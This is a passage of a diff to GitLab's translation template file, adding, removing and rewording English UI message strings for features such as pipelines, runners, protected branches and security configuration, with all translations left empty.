msgstr ""
@@ -23708,6 +23402,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -23900,9 +23600,6 @@ msgstr ""
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -24107,10 +23804,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -24122,9 +23819,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -24134,16 +23828,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24263,10 +23963,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24284,12 +23984,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24401,9 +24107,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24554,13 +24257,13 @@ msgstr ""
msgid "Pipeline|with stages"
msgstr ""
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -24605,10 +24308,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24620,6 +24323,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25232,6 +24941,9 @@ msgstr ""
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25517,9 +25229,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr ""
@@ -25547,6 +25256,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr ""
@@ -25559,9 +25271,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr ""
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25610,15 +25319,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25667,9 +25370,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
-msgid "ProjectLifecycle|Stage"
-msgstr ""
-
msgid "ProjectOverview|Fork"
msgstr ""
@@ -26285,9 +25985,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26303,9 +26000,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -26390,21 +26084,18 @@ msgstr ""
msgid "PrometheusService|Active"
msgstr ""
-msgid "PrometheusService|Auto configuration"
-msgstr ""
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr ""
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr ""
@@ -26420,18 +26111,9 @@ msgstr ""
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr ""
-
msgid "PrometheusService|Manage clusters"
msgstr ""
@@ -26447,9 +26129,6 @@ msgstr ""
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr ""
@@ -26462,6 +26141,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26477,7 +26159,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26486,6 +26168,9 @@ msgstr ""
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26495,9 +26180,6 @@ msgstr ""
msgid "Promote"
msgstr ""
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26516,9 +26198,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -26642,13 +26321,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26669,12 +26351,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -26684,6 +26375,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -26693,12 +26387,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -26744,18 +26441,30 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
+msgstr ""
+
+msgid "ProtectedTag|Learn more."
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|Limit access to creating and updating tags."
msgstr ""
-msgid "Provide feedback"
+msgid "ProtectedTag|Protected tags"
+msgstr ""
+
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr ""
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27160,6 +26869,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27187,6 +26899,9 @@ msgstr ""
msgid "Related Issues"
msgstr ""
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27366,6 +27081,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27381,15 +27099,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr ""
@@ -27405,9 +27117,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -27555,15 +27264,18 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
+msgid "Replace"
msgstr ""
-msgid "Replace"
+msgid "Replace %{name}"
msgstr ""
msgid "Replace all label(s)"
msgstr ""
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -27573,15 +27285,6 @@ msgstr ""
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr ""
@@ -27981,6 +27684,9 @@ msgstr[1] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -28131,12 +27837,6 @@ msgstr ""
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr ""
@@ -28152,9 +27852,6 @@ msgstr ""
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr ""
@@ -28249,6 +27946,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr ""
@@ -28258,9 +27958,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28327,12 +28024,21 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28342,6 +28048,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28351,9 +28060,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28366,9 +28084,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28411,12 +28135,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28447,6 +28177,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28525,6 +28261,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr ""
@@ -28576,10 +28318,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28612,6 +28351,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28663,6 +28405,9 @@ msgstr ""
msgid "Search"
msgstr ""
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -28747,9 +28492,6 @@ msgstr ""
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr ""
-
msgid "Search project"
msgstr ""
@@ -28880,12 +28622,6 @@ msgstr[1] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -28952,6 +28688,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -28973,6 +28712,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -28982,6 +28724,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -29006,9 +28754,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -29018,12 +28775,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -29036,7 +28802,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -29045,6 +28814,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -29057,6 +28832,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -29069,7 +28865,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -29132,6 +28928,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29237,6 +29036,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29339,9 +29141,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29372,9 +29171,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29477,9 +29282,6 @@ msgstr ""
msgid "Select target branch"
msgstr ""
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr ""
@@ -29573,7 +29375,7 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
+msgid "Send service data"
msgstr ""
msgid "Sentry API URL"
@@ -29612,10 +29414,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -29657,9 +29459,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -29702,6 +29501,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -29792,6 +29594,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr ""
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -29972,9 +29777,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -29999,6 +29801,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -30023,9 +29828,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -30053,9 +29855,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -30089,12 +29888,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr ""
@@ -30141,6 +29934,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30474,9 +30270,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -30579,6 +30372,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30645,12 +30441,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr ""
-
-msgid "SortOptions|Access level, descending"
-msgstr ""
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -30684,9 +30474,6 @@ msgstr ""
msgid "SortOptions|Last created"
msgstr ""
-msgid "SortOptions|Last joined"
-msgstr ""
-
msgid "SortOptions|Last updated"
msgstr ""
@@ -30729,9 +30516,6 @@ msgstr ""
msgid "SortOptions|Oldest created"
msgstr ""
-msgid "SortOptions|Oldest joined"
-msgstr ""
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -30783,6 +30567,9 @@ msgstr ""
msgid "SortOptions|Start soon"
msgstr ""
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -30801,6 +30588,9 @@ msgstr ""
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -30903,15 +30693,6 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -31128,12 +30909,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
